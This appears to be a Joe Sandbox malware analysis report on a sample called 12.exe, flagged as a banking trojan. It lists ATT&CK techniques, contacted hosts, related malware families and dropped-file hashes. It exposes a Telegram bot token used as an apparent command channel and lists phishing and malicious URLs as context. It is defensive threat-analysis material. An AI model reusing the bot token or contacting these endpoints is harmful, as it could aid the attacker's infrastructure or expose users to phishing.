Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF73A3F8CFC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF73A3F8CFC

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	42 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
12.exe	17%	Virustotal		Browse
12.exe	16%	ReversingLabs	Win64.Adware.RedCap

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
api.telegram.org	149.154.167.220	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
206.23.85.13.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=989444376	false		high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=124	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.3894305093.000002AE05E3E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE144EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE14622000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000001.00000002.3894305093.000002AE05976000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.6.dr	false	high
https://api.telegram.org	powershell.exe, 00000005.00000002.3894525884.000001C84B896000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B68F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B2C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BABF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B5CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B46B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B729000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC1D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BAF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BA75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B3C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B8B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBBF000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C849C91000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000005.00000002.3894525884.000001C84A8C9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.ver)	svchost.exe, 00000007.00000002.3716328092.000001BDE9E68000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000007.00000003.2081812677.000001BDE9BB0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	false	high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/Prod/C:	edb.log.7.dr	false	high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0P	powershell.exe, 00000005.00000002.3894525884.000001C849EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=	powershell.exe, 00000005.00000002.3894525884.000001C84B896000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B68F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B2C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B746000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BABF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B6F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B5CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B46B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B729000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC1D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B809000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BAF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BB5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BA75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B3C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84B8B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BC3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BBBF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.3894305093.000002AE05E3E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE144EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3939204462.000002AE14622000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3953240514.000001C859D01000.00000004.00000800.00020000.00000000.sdmp	false	high
https://oneget.orgX	powershell.exe, 00000001.00000002.3894305093.000002AE05976000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.3894305093.000002AE04471000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C849C91000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=9894443	powershell.exe, 00000005.00000002.3894525884.000001C84B868000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	powershell.exe, 00000005.00000002.3894525884.000001C84B386000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C84BA97000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.3894305093.000002AE04471000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.3894525884.000001C849C91000.00000004.00000800.00020000.00000000.sdmp	false	high
https://oneget.org	powershell.exe, 00000001.00000002.3894305093.000002AE05976000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590581
Start date and time:	2025-01-14 10:02:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	12.exe
Detection:	MAL
Classification:	mal100.bank.troj.evad.winEXE@22/44@4/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 94% Number of executed functions: 22 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 104.77.220.172, 172.202.163.200, 13.107.246.45, 13.85.23.206, 4.175.87.197, 20.12.23.50
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target powershell.exe, PID 6496 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse
	PDF-3093900299039 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exe	Get hash	malicious	Snake Keylogger	Browse
	https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.net	Get hash	malicious	HTMLPhisher	Browse
	https://terrific-metal-countess.glitch.me/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	PDF-3093900299039 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FA_35_01_2025_STA_Wz#U00f3r_standard_pdf .scr.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	https://ngk.ae/hurda.html?email=lara.sutton@southerntrust.hscni.net	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://terrific-metal-countess.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	6uPVRnocVS.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
bg.microsoft.map.fastly.net	UoEDaAjHGW.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.210.172
	PRODUKTY.EXE.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	199.232.210.172
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	G7T8lHJWWM.exe	Get hash	malicious	LummaC	Browse	199.232.210.172
	009.vbe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RFQ.exe	Get hash	malicious	Quasar, PureLog Stealer	Browse	199.232.210.172
	possible SPAM## Msig Insurance Europe Complete via-Sign Monday January 2025.msg	Get hash	malicious	Unknown	Browse	199.232.214.172
	3ClBcOpPUX.exe	Get hash	malicious	CyberGate	Browse	199.232.210.172
	40#U0433.doc	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://bu9.fysou.web.id/webs6/cx.aktifkn.fiturr	Get hash	malicious	Unknown	Browse	149.154.164.13
	http://bu9.fysou.web.id/webs6/aktrfn.fitur.pylter	Get hash	malicious	Unknown	Browse	149.154.164.13
	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse	149.154.167.99
	sysadmin.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://cys-bombasml.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	UoEDaAjHGW.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	149.154.167.220
	009.vbe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	RFQ.exe	Get hash	malicious	Quasar, PureLog Stealer	Browse	149.154.167.220
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://performancemanager10.successfactors.com/sf/hrisworkflowapprovelink?workflowRequestId=V4-0-a1-iHQRWD3bQis7XhhWNKzjfWwnvURbEsN0CxUc27Zt3ml0ag&company=oceanagoldT2&username=dave.oliver@oceanagold.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://imtcoken.im/	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://ipfs.io/ipfs/bafkreidfpb2invnj4i76skys5sfmk3hycbkxhquyb7d6uhnbls3gwf4a5q	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://pub-575fb9d74c7a46f0828b37cda8dd9c40.r2.dev/docu/e_protocol.html?e	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://eb-ri18.vercel.app/verset.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3588072191296206
Encrypted:	false
SSDEEP:	6:6xkoaaD0JOCEfMuaaD0JOCEfMKQmDhxkoaaD0JOCEfMuaaD0JOCEfMKQmD:maaD0JcaaD0JwQQ3aaD0JcaaD0JwQQ
MD5:	663C5D6018506231E334FB3EA962ED1C
SHA1:	539A4641CE92E57E4ADEE32750A817326E596D4C
SHA-256:	066CB701C03237D2612AA647E6BF08EF594360F96E433639B0CC9EED7335F1E1
SHA-512:	5F910653FD1B12B94D314EDEDF6EB2BEC70D369D921EB5B7CF4D199B0374D6C798336E39DBF2781F3B0457280E0DDA63BDF4861DF31C08152544B0F1039D5FCD
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8336839162151133
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugc:gJjJGtpTq2yv1AuNZRY3diu8iBVqFe
MD5:	FEA4441987C362EDA3639F438A8AC207
SHA1:	6D22ED58B3951F8A1E433C6D296FAEC1490B2157
SHA-256:	5BBE037A3C8750D819E5BA089C254978483508F2E588A50A05934629D1EE4CFB
SHA-512:	6514080B5838317B9D391A5745EE3AA1CCC5B3EE930D66F042AEF4A29160312C0C4DA51607D6C21E780C8636CA3CFFF1996F0757DB2A4E776839650A8C87B2A8
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9adb7dd2, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6584302184674243
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/AxrO1T1B0CZSJWYkr3g16n2UPkLk+kdbI/0uznv0M1Dn/didMV:5aza6xhzA2U8HDnAPZ4PZf9h/9h
MD5:	E912F73E23D28A841F77FC79B4317C70
SHA1:	BAB23EDCA2E869C957799D651ACDF18D699483F8
SHA-256:	DF045EA6527F533CDDA59D991B66E53CF171E6D27360AF7B5B2D7160CFB8C866
SHA-512:	82C0B19B377B18B6856DEAB08D80BEE0EB91C37FFE61A2F059359339B5375DA9B8D771A91994546F49FE35E1FB5521BE18A209E190FFEFF201F165E4C38A6712
Malicious:	false
Preview:	..}.... ...............X\...;...{......................T.~.....;....}.......}..h.\|.....;....}..T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................8.l.;....}..................~.-.;....}...........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07886501275490869
Encrypted:	false
SSDEEP:	3:Sll/OetYe8pXc//aLebWw//HKRa//all58Kgvvl/QoeP/ll:S//rzAXc/fWw//Kc/Gz8KgR+t
MD5:	80C365A5A38D0E1341751C4AC6645D20
SHA1:	32C50975091F282DC67382C374D0D14229D8FB26
SHA-256:	4B01E71EDBE3CFA4DB0403F62268F5095FC0FA875948A69DD75D4C508B6A04E4
SHA-512:	D871ABFCB3FF32AC269E5A4781BE7F073FC5A99BC79BD7B26EF174C48C6BD06B2C36EBE5A5DE52CD07B77BCA4F5C77E800AB69CBB42792747207128E62D7DDC1
Malicious:	false
Preview:	.L.......................................;...{.......}..;....}..........;....}..;....}.. ...;....}..................~.-.;....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.175258605860704
Encrypted:	false
SSDEEP:	6:iO8IJUVOq2P92nKuAl9OmbnIFUtWIwZZmwoIwzkwO92nKuAl9OmbjLJ:75JUAv4HAahFUtTwZ/dwz5LHAaSJ
MD5:	A43FC6F0403623AB1D3D2D326C68BFFC
SHA1:	951C565BDFE2B4FF401E6B20DE40D7644D66D80B
SHA-256:	CBF492891991A48E9C7B5714E0B78C75854F23924BAB35B94E06CB70CFE535B2
SHA-512:	7C2554A4E6991F707E0F86AA13C2B0D29E71CEC9CB57AD0F02D4EB121877DE0E4DD2617C40ED3EC8BAEE9F5D95CFC58D7FDB43D155EED844FC17CB735F910454
Malicious:	false
Preview:	2025/01/14-04:03:45.693 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-04:03:45.695 1c10 Recovering log #3.2025/01/14-04:03:45.695 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.175258605860704
Encrypted:	false
SSDEEP:	6:iO8IJUVOq2P92nKuAl9OmbnIFUtWIwZZmwoIwzkwO92nKuAl9OmbjLJ:75JUAv4HAahFUtTwZ/dwz5LHAaSJ
MD5:	A43FC6F0403623AB1D3D2D326C68BFFC
SHA1:	951C565BDFE2B4FF401E6B20DE40D7644D66D80B
SHA-256:	CBF492891991A48E9C7B5714E0B78C75854F23924BAB35B94E06CB70CFE535B2
SHA-512:	7C2554A4E6991F707E0F86AA13C2B0D29E71CEC9CB57AD0F02D4EB121877DE0E4DD2617C40ED3EC8BAEE9F5D95CFC58D7FDB43D155EED844FC17CB735F910454
Malicious:	false
Preview:	2025/01/14-04:03:45.693 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-04:03:45.695 1c10 Recovering log #3.2025/01/14-04:03:45.695 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.189489115601243
Encrypted:	false
SSDEEP:	6:iO8HXF34q2P92nKuAl9Ombzo2jMGIFUtWUzJZmwoUzDkwO92nKuAl9Ombzo2jMmd:7gIv4HAa8uFUtp/15LHAa8RJ
MD5:	B8712B99C718C4EF69F1AD432CD808BF
